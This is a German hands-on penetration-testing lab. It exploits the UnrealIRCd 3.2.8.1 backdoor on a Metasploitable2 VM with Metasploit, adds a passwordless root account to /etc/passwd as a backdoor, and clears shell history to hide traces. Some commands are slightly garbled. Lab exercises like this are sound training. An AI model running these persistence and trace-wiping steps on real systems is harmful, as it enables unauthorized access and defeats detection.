Einführung
In diesem Lab werden wir lernen, wie man eine Backdoor (Hintertür) erstellt und Spuren löscht, nachdem man durch einen Penetrationstest erfolgreich Zugang zu einem Zielrechner erlangt hat. Das Szenario ist in der LabEx-Umgebung eingerichtet. Dort werden wir das Kali-Terminal nutzen, um Schwachstellen auf dem Metasploitable2-Zielrechner auszunutzen, Root-Zugang zu erhalten, eine Backdoor für zukünftigen Zugang zu erstellen und alle während des Angriffsprozesses hinterlassenen Spuren zu löschen.
Root-Zugriff auf der Zielmaschine erhalten
In diesem Schritt werden wir die Unreal Ircd-Schwachstelle nutzen, um Root-Zugang auf dem Zielrechner zu erhalten.
Nun starten Sie die Angriffsmaschine (Kali Linux-Container) und die Zielmaschine (Metasploitable2-Virtuelle Maschine) für das Experiment.
- Öffnen Sie ein xfce-Terminal auf der LabEx-Hostmaschine und starten Sie die Metasploitable2-Zielmaschine, indem Sie den folgenden Befehl ausführen:
sudo virsh start Metasploitable2
Warten Sie, bis die Zielmaschine gestartet ist. Dies kann 1 - 3 Minuten dauern.
- Testen Sie die Konnektivität zur Zielmaschine, indem Sie sie per Ping anpingen:
ping 192.168.122.102
Drücken Sie Ctrl+C, um den Ping zu stoppen.
- Starten Sie den Kali Linux-Container und treten Sie in die bash-Umgebung ein, indem Sie folgenden Befehl ausführen:
docker run -ti --network host b5b709a49cd5 bash
- Testen Sie innerhalb des Kali-Containers die Netzwerkverbindung zur Zielmaschine:
ping 192.168.122.102
Drücken Sie Ctrl+C, um den Ping zu stoppen.
Nun laufen sowohl die Angriffsmaschine als auch die Zielmaschine, und Sie können mit dem Penetrationstest beginnen.
Hinweis: Wenn Sie versehentlich die aktuelle bash-Umgebung verlassen, wird der Kali-Container automatisch gestoppt. Sie können auf dem Host erneut docker run -ti --network host b5b709a49cd5 bash ausführen, um einen neuen Kali-Container zu starten und in die bash-Umgebung einzutreten, um das Experiment fortzusetzen.
- Geben Sie im Kali Linux-Container die folgenden Befehle im Kali Linux-bash-Terminal ein:
service postgresql start
msfdb init
cd ~
msfconsole
Dadurch wird der PostgreSQL-Datenbankdienst gestartet, die Datenbank initialisiert und die Metasploit-Framework-Konsole (msfconsole) für weitere Operationen gestartet.
- Suchen Sie nach dem Unreal Ircd-Schwachstellenmodul:
search unreal_ircd
- Verwenden Sie das
unix/irc/unreal_ircd_3281_backdoor-Modul:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- Legen Sie die IP-Adresse des Ziels fest:
set RHOST 192.168.122.102
- Nutzen Sie die Schwachstelle, um Zugang zu erhalten:
exploit
- Prüfen Sie den aktuellen Benutzer:
whoami
Sie sollten sehen, dass Sie Root-Zugang auf der Zielmaschine erhalten haben.
Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung.
Einen Backdoor erstellen
Jetzt, da wir Root-Zugang erhalten haben, erstellen wir eine Backdoor für zukünftigen Zugang zum Zielrechner.
Zunächst sollten Sie, wenn Sie nicht in der Metasploit-Konsole sind, die Metasploit-Konsole starten:
cd ~
msfconsole
Dann überprüfen Sie die Systeminformationen:
uname -a
Finden Sie den Speicherort der bash-Shell des Root-Benutzers:
cat /etc/passwd
Erstellen Sie ein Backdoor-Konto ohne Passwort:
echo 'shiyanlou1234::0:0::/:/bin/sh' >> /etc/passwd
Überprüfen Sie die Erstellung des Backdoor-Kontos:
cat /etc/passwd
Sie sollten das neue Konto shiyanlou1234 in der Ausgabe sehen.
Öffnen Sie ein neues Terminal und verbinden Sie sich mit dem Zielrechner über das Backdoor-Konto:
telnet 192.168.122.102
Geben Sie bei entsprechender Aufforderung den Benutzernamen shiyanlou1234 ein.
Überprüfen Sie den aktuellen Benutzer:
whoami
Sie sollten sehen, dass Sie als Backdoor-Benutzer angemeldet sind.
Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung.
Spuren löschen
Nachdem Sie Zugang erhalten und eine Backdoor (Hintertür) erstellt haben, ist es wichtig, alle während des Angriffsprozesses hinterlassenen Spuren zu löschen, um eine Entdeckung zu vermeiden.
Zunächst sollten Sie, wenn Sie nicht in der Metasploit-Konsole sind, die Metasploit-Konsole starten:
cd ~
msfconsole
Eine gängige Methode, um Spuren zu löschen, ist das Entfernen der Befehlshistorie. Die Historie wird in der Datei .bash_history gespeichert. Sie können die Historie mit dem folgenden Befehl löschen:
history -c
Um die Datei .bash_history zu löschen, können Sie ihren Speicherort mit dem find-Befehl ermitteln:
find / -name.bash_history
Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung.
Zusammenfassung
In diesem Lab haben wir gelernt, wie man mithilfe der Unreal Ircd-Schwachstelle Root-Zugang auf einem Zielrechner erhält, ein Backdoor-Konto (Hintertür-Konto) für zukünftigen Zugang erstellt und die während des Angriffsprozesses hinterlassenen Spuren löscht. Diese praktische Erfahrung wird Ihnen helfen, die Techniken zu verstehen, die Angreifer einsetzen, um dauerhaften Zugang zu erhalten und ihre Spuren nach einem erfolgreichen Penetrationstest zu verdecken.